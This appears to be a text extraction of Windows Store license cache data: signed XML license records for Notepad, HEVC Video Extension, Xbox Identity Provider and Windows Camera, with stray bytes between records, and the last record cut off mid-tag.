<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="a80ee59d-bc83-471a-be4e-48eabefaf947" LicenseID="c2a6d382-79ff-e5b0-f36c-550cff0a1fbe" ContentID="05900109-7bf4-436b-0ac6-b0810b7806e1" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9MSMLRH6LZF3</ProductID><PFM>microsoft.windowsnotepad_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-19T22:35:42.0300636Z</IssuedDate><LastUpdateDate>2026-02-19T22:35:42.0202881Z</LastUpdateDate><BeginDate>2026-02-19T22:35:42.0202874Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI5ODNiZWVmMy02NDcyLTRhOTYtYTI2ZC02ZmQ4ZThiY2Q0MmIifQ==</CustomPolicies><SPLicenseBlock>FAAAALYAAADJAAAACgAAAAUAAQA+kJdpAwDLAAAAEAAAAILTpsL/ebDl82xVDP8KH77OAAAATgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwBuAG8AdABlAHAAYQBkAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQBShZ4+iol39J0vWwOyUU6hDjP7CdRVzjH+GMIuatiBiiAAAAAEAAAAPpCXacwAAABEAAAAAQACAP+Zo2/49jtV8qBT6P1WDG3tQa0qUmwS8JA53tfkoERrPr8F5eNUr2hh7UlvkTRagiT34lWgcNgrpUaO72XU5TM=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>gWcObUn5sOFTMymJkpSmZtUQnjqiHpxquxJNv2S0sR8=</DigestValue></Reference></SignedInfo><SignatureValue>KxE3XyzM78aCwVfdHoN8Fc44q/tV5hqHBdRCyWrFEGPEqHfzlTf90o7meIorc44+qzK/aeeAbPJo1FW1qpp2aQfVbtNnctrhLHzHYMJujjdgFtoc8zv1KonTkllZt0ogb8clGR1MWU/OQnjYuULXCneY6PWao68J2hMOEMUvt2pci0e6Vt7t183iEp36nJtjwkINRmo3BoWedIZzwjYxIZ2L+1Rsxk+0a/rDjlQqs5pZCWAR+gWZoG9brSXpOzfk4dZ5HeUXY3beEoKeFxBVEzleuk4WYJo7zuKBxvFwUQV9lIdhPWwKQAUoHnFG1Toy+ezsRmWgUCRIhl7qUNbcUw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="d220acc5-1aa0-4a5a-bd1f-8b1ca3d32b7a" LicenseID="1903f967-ecb0-0e8f-e0f1-d08d61d03749" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.HEVCVideoExtension_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T06:03:08.0416632Z</IssuedDate><LastUpdateDate>2026-02-20T06:03:08.0285634Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD1hMGQ1MDQ5Mi1hNzY5LWZjZTktOGM1Yi02ZGM2MDMxMmI4ZTQmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OU40V0dIMFo2VkhRJnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiYzM0NGIyODMtMWFmYy00MTE1LWQ1NjMtY2U4MDliOTAxMjYyIl0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiYTBkNTA0OTItYTc2OS1mY2U5LThjNWItNmRjNjAzMTJiOGU0IiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlONFdHSDBaNlZIUSIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQwNjowMzowOC4wMjg0MTgzKzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAAL4AAADJAAAACgAAAAUAAgAc+ZdpAADLAAAAEAAAAGf5Axmw7I8O4PHQjWHQN0nOAAAAVgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AaABlAHYAYwB2AGkAZABlAG8AZQB4AHQAZQBuAHMAaQBvAG4AXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAOtW7UWl0zP7woYv+MMwEP0BD3t7AVqjC2B2Kw4SpN9e0wAAAAQAAAAcoA5qzAAAAEQAAAABAAIAHD1gdgdS4ZYaMCQJMQ6VBkP9RyQnFH90iQGyEs7zlgDEo8T2wzEEAiCawNJKHaJfoLNpKdCP/qzg6UdfKBkRDw==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>fKeA8XK4BkofPwsp+m8Y8yG18l5QHl59C9gObvRmyx8=</DigestValue></Reference></SignedInfo><SignatureValue>Y3qFit49pAxl2LLGo8Cg9+cBBicvAXao4cVsqOrbDH4pBWg9mH1zWKBtSBdyUHUn2hmEm3MQh0CaJuRlhHuyUcqbf4W5Jp9OWDm3NqhYzp2a3N7bfAq5T+YgaiOSwOcDVo7SC0CuhNZG1C0J62Am7n3z4SOTuTUrGZ8q33C9+f8XxGEDa30q2su8wvFCJSTLDORycECxX5Q8GKGsmNlFPCzM6CKoX/1HJKUDtzc1zyorJXl9je9nt62CQQK7DCsQtZC1Z3GM6YnCTBZeL5gTLsBL4dvD9Oo2cbH+Yx5WjyDy7/k0/EqKCly/B1d5CIGMeqi2N+pvG8BA+MzjjGtjBQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
1:<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="01660d00-e422-4eb6-8610-853d468c780c" LicenseID="c344b283-1afc-4115-d563-ce809b901262" ContentID="a0d50492-a769-fce9-8c5b-6dc60312b8e4" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9N4WGH0Z6VHQ</ProductID><PFM>microsoft.hevcvideoextension_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T06:03:08.0411802Z</IssuedDate><LastUpdateDate>2026-02-20T06:03:08.0289316Z</LastUpdateDate><BeginDate>2026-02-20T06:03:08.0289309Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiIxYzFhMDFiMS0xNTEwLTRiZWUtYTYyOC03MGU5Mjc0NWJmMjEifQ==</CustomPolicies><SPLicenseBlock>FAAAAL4AAADJAAAACgAAAAUAAQAc+ZdpAwDLAAAAEAAAAIOyRMP8GhVB1WPOgJuQEmLOAAAAVgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AaABlAHYAYwB2AGkAZABlAG8AZQB4AHQAZQBuAHMAaQBvAG4AXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAOtW7UWl0zP7woYv+MMwEP0BD3t7AVqjC2B2Kw4SpN9eIAAAAAQAAAAc+ZdpzAAAAEQAAAABAAIAE4TQLcGPENPOMEvcGblcSUp7MOn8+haDs8elX3rS3QEDzjBWpAIIqRgLojPkKKHdjgLhjVt6BRDVBEem2jhDpA==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>ngjOzbvt18F6RFfr0Jt7quPbH/CiKjEfjyVjW6jX+z8=</DigestValue></Reference></SignedInfo><SignatureValue>aa5JlcrwU/zCNVIBagXd34dqNWjU57BWrlxeL9BNfnaWbuZMXaeUB5marWCn+pGhmMw70GTV4Ch9OiWxRXnQKV4Hi12+K62Pv8pgZo6WNArDiVHQqnkkxcbURYeNyyUJdk2SlVQRlPZRJ6I0iB0lA4QEx8vWQolGbCmyuvclNKN8A6ZzVj7hsmGMRY5V6vpCiVWlFtQi0KU+Re7TDiBeYvhda4oCcigik6K5ziHhPBl2nUGWbi8fwSAE5gzGFJKFmnuQlw6F2RTj4T7Go9mdh6KAuKH/LihuAGOhpUxlWAwKQxAj1dMWC4M98iAfGa21YrjqoaJ/c+dcpRQ23/vkCg==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="a72b9c8b-a068-4de2-a4cb-5a6b83388915" LicenseID="71ef3df1-f4b1-69cd-793a-48e165e282aa" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.XboxIdentityProvider_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T11:30:44.8468256Z</IssuedDate><LastUpdateDate>2026-02-20T11:30:44.8308775Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD1kZmJlMDlkMC0xZjIyLWE5YzAtMmQzZC0zZjRjNjM1MWU1OGYmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OVdaRE5DUkQxSEtXJnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiYzNkNDJhMWEtMmYzZi1hNGE5LTZhMDQtY2MxYjIzNDQ4NWZiIl0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiZGZiZTA5ZDAtMWYyMi1hOWMwLTJkM2QtM2Y0YzYzNTFlNThmIiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlXWkROQ1JEMUhLVyIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQxMTozMDo0NC44MzA3NjErMDA6MDAiLCJyZWZyZXNoT25TdGFydHVwIjpmYWxzZSwidmVyc2lvbiI6N30=</CustomPolicies><SPLicenseBlock>FAAAAMIAAADJAAAACgAAAAUAAgDlRZhpAADLAAAAEAAAAPE973Gx9M1peTpI4WXigqrOAAAAWgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AeABiAG8AeABpAGQAZQBuAHQAaQB0AHkAcAByAG8AdgBpAGQAZQByAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQDwzmDCtA2xOY++tCB7M16iflwLDnYpa1uHDY1XwsgdR9MAAAAEAAAA5ewOaswAAABEAAAAAQACADguewU2ANl8hFAxO95rNPdlP6DgXvValGRrnCT2aleNWCMjrEWE8Na8taKnrig9JnXaGvdiz6ogZ55uyO8RhFE=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>KLLLqJHJnQcSmM+EW3Gptd4k1IPdcsJFEUvcijsn8Mg=</DigestValue></Reference></SignedInfo><SignatureValue>MFWqlQ18O00OIiDnvTxYdsT4sYD6DeGHyIec1MW/fjnl2Esa+ka2eK6nsZ03MMuy646Ku6J5ubIdrdLZnfMZapoWKlNDNPkTmFToqdAv2IctnE3vAIN2uKunxFJON4wGO8G/+JXFiOoEFUKWOWBrvnlvGVedIH99XBJmAfRoTmktDHgAEqmdibuiHh5P/J7TIOdGYzC2yPuZa7mx0pJKwbAxhq6wclHYApC1fpX/hqNxRYhWq7RQr6oMox6v6hvWw9bKHU/3iHblGLWADoDIP1KtFag95BwconI6kR1k08ojquSgIZ6N4Hr4IP/JkFovJfhQ7CBTApWQLUq18zgnhA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
2~R<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="cf668d01-966c-4387-8c9a-2d0ebaf48187" LicenseID="c3d42a1a-2f3f-a4a9-6a04-cc1b234485fb" ContentID="dfbe09d0-1f22-a9c0-2d3d-3f4c6351e58f" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9WZDNCRD1HKW</ProductID><PFM>microsoft.xboxidentityprovider_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-19T17:09:39.1472528Z</IssuedDate><LastUpdateDate>2026-02-19T17:09:39.1278394Z</LastUpdateDate><BeginDate>2026-02-19T17:09:39.1278388Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI5ZGI3MjRjOS05NjZkLTRhZWItOWQzYi1kNmIyYzc3ZjNkZTMifQ==</CustomPolicies><SPLicenseBlock>FAAAAMIAAADJAAAACgAAAAUAAQDTQ5dpAwDLAAAAEAAAABoq1MM/L6mkagTMGyNEhfvOAAAAWgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AeABiAG8AeABpAGQAZQBuAHQAaQB0AHkAcAByAG8AdgBpAGQAZQByAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQDwzmDCtA2xOY++tCB7M16iflwLDnYpa1uHDY1XwsgdRyAAAAAEAAAA00OXacwAAABEAAAAAQACALvt6DkJoHrQldNH9SGt6Uc78aDT87soP3Bn1gDgdzXd8zgxMMVrCtg6+vV9r6NJR/fJUwbskNK8vQLsBIWxtso=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>yasMkdW74ZZgqLNJlb97HW63h+vpxwqklxvudfSDijk=</DigestValue></Reference></SignedInfo><SignatureValue>hJMwbhhBh7NemlBbXZ3vJ+bC4Z2tc/uru+jzZMUGMAcgDD0Aj/NpBAOt+lb92ZVdnV5cQeQPDmd3rpENa9BAsPvpWvQHAzzFSx0+hkG5W/PVPBERIs/4N7xgB28jzImx1Q8hEV6wBMTfonH/aWzUW3Mi5bfXE9ICfPmboCQzwSEqUHRl+x+Z9Mfb3AmSMHsC14kjYikJXI2tSmsZvgGEWdt0ceIUGnka+AJc/5FgRAisOvAe/uJEgxvyoTg7b4bpgvVkgwEt/1G/5bh/YciLVqzylCzEJGZsKWfpdITQxxpPxSjuLi+HTI3FDuvY7WdBGk0zeQsFDQKpCo7PxROYuw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="62d096a5-21ea-4a70-ac71-94ee52bfd71e" LicenseID="0890ad2f-b74f-c384-f684-9c33f8f67924" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.WindowsCamera_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T09:05:44.440121Z</IssuedDate><LastUpdateDate>2026-02-20T09:05:44.4245688Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD0zYmZkMjZjOS04ZGE5LWI5NDAtZjYzOC01NTg5MDAxMmFhYjQmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OVdaRE5DUkZKQkJHJnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiZTJhNjg2YjEtYjAyYS1iM2U3LTkwY2ItM2ZhMGQ3MDhjZTA0Il0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiM2JmZDI2YzktOGRhOS1iOTQwLWY2MzgtNTU4OTAwMTJhYWI0IiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlXWkROQ1JGSkJCRyIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQwOTowNTo0NC40MjQzOCswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAALQAAADJAAAACgAAAAUAAgDoI5hpAADLAAAAEAAAAC+tkAhPt4TD9oScM/j2eSTOAAAATAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwBjAGEAbQBlAHIAYQBfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEABGuzGopDH19xp9ebfDDlfgK7MSHdZaNdBCYbP82L9wfTAAAABAAAAOjKDmrMAAAARAAAAAEAAgBBdJmvO7lQxp1z7Fu3+NMhLWgnIXL3kHTtUrx5W5PL9AVb4ZKNhcigVQGBrpOFowOiAyXv4/rZgmDwQWollb2i</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>iy23ka4KC7TF4UZM03eQsXJHlWDGvV0MPvixc3oZu4Y=</DigestValue></Reference></SignedInfo><SignatureValue>Cs42jJa0vbufYkeTaiTxbyMrgIRxsZY4L64/S/BxxPR8wjoa17F0EhhBGSTlU2dDrh2ExyyEJ3HJz/oWZBqf08xmJFsKxCqtBFNoMTxoqOj3Dz/RRJkCieOqDIT+3qGd7ZBEW/IriVDRBx11C9goi3WOP2GXYzsA4Jcn3pmXXLNJljoYGBt3WQAjEhgLs3LNoY0AMRka3P6VhRTPlQ8WSJEd6CkVdqCJnoRQzsWKuLGmUU243EHUv1uHOWu0oTBVxZhO8w3g0xWBZxcwN8koAguDwg86TnsCpGnb9bHLUqoCuYCn7cfaLsV2BRmEEUb943zqz8cmuz9/4VGUdF0hqA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
I<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="3eed5e9a-8bd4-4ede-980d-f98e661d0c07" LicenseID="e2a686b1-b02a-b3e7-90cb-3fa0d708ce04" ContentID="3bfd26c9-8da9-b940-f638-55890012aab4" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9WZDNCRFJBBG</ProductID><PFM>microsoft.windowscamera_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T11:43:27.0847518Z</IssuedDate><LastUpdateDate>2026-02-20T11:43:27.0698114Z</LastUpdateDate><BeginDate>2026-02-20T11:43:27.0698101Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJjZDVkNTNiMS0zM2Y3LTRhOTUtYjExMS1mNTFmMTg3YzcxMzAifQ==</CustomPolicies><SPLicenseBlock>FAAAALQAAADJAAAACgAAAAUAAQDfSJhpAwDLAAAAEAAAALGGpuIqsOezkMs/oNcIzgTOAAAATAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwBjAGEAbQBlAHIAYQBfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEABGuzGopDH19xp9ebfDDlfgK7MSHdZaNdBCYbP82L9wcgAAAABAAAAN9ImGnMAAAARAAAAAEAAgAdYr5RXZiiAv9GeTbz9wKvGUOwJc6Z2nRzdjR5oHTXUEL0GjlmK18AoZB2NsSQssDcGv3YgyrLW0GI9meAWGiL</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>AUqfHZLnDqtmcXsrSbtjogvjyUloS4kUm+JISOrLTq8=</DigestValue></Reference></SignedInfo><SignatureValue>gu4DKSasSACuhJ2HCZ47+beKlDW/PfR4aqpbtmAJO6PWtl1Fw7qg7mVZvziyK1ehx6W9CzwwYHxPzNbaSbSJA/1xy8ZtPRRLrJvPjgcx8ghuOg7CsH27VSdWa4z6LkO61EShETsJiwMwS3PJiSEU4dZBR/OYrN4kBibqFK7z+BbfsX+wjRvBqAheU1dVq10hZqNJTA1tmQET8AF52/93WNMrAtK5le990uW/IO5f1JnYDKvHLJm4TjSnjH+8Ed3uu7OvKor++1YjhE/UmiVIw/tirRKK3E+nSNEPQTzPVHmZcjrcJlWcLXBul3wbk3XSG9qw35urPdJegA5Kdb//Jg==</SignatureValue><KeyInfo 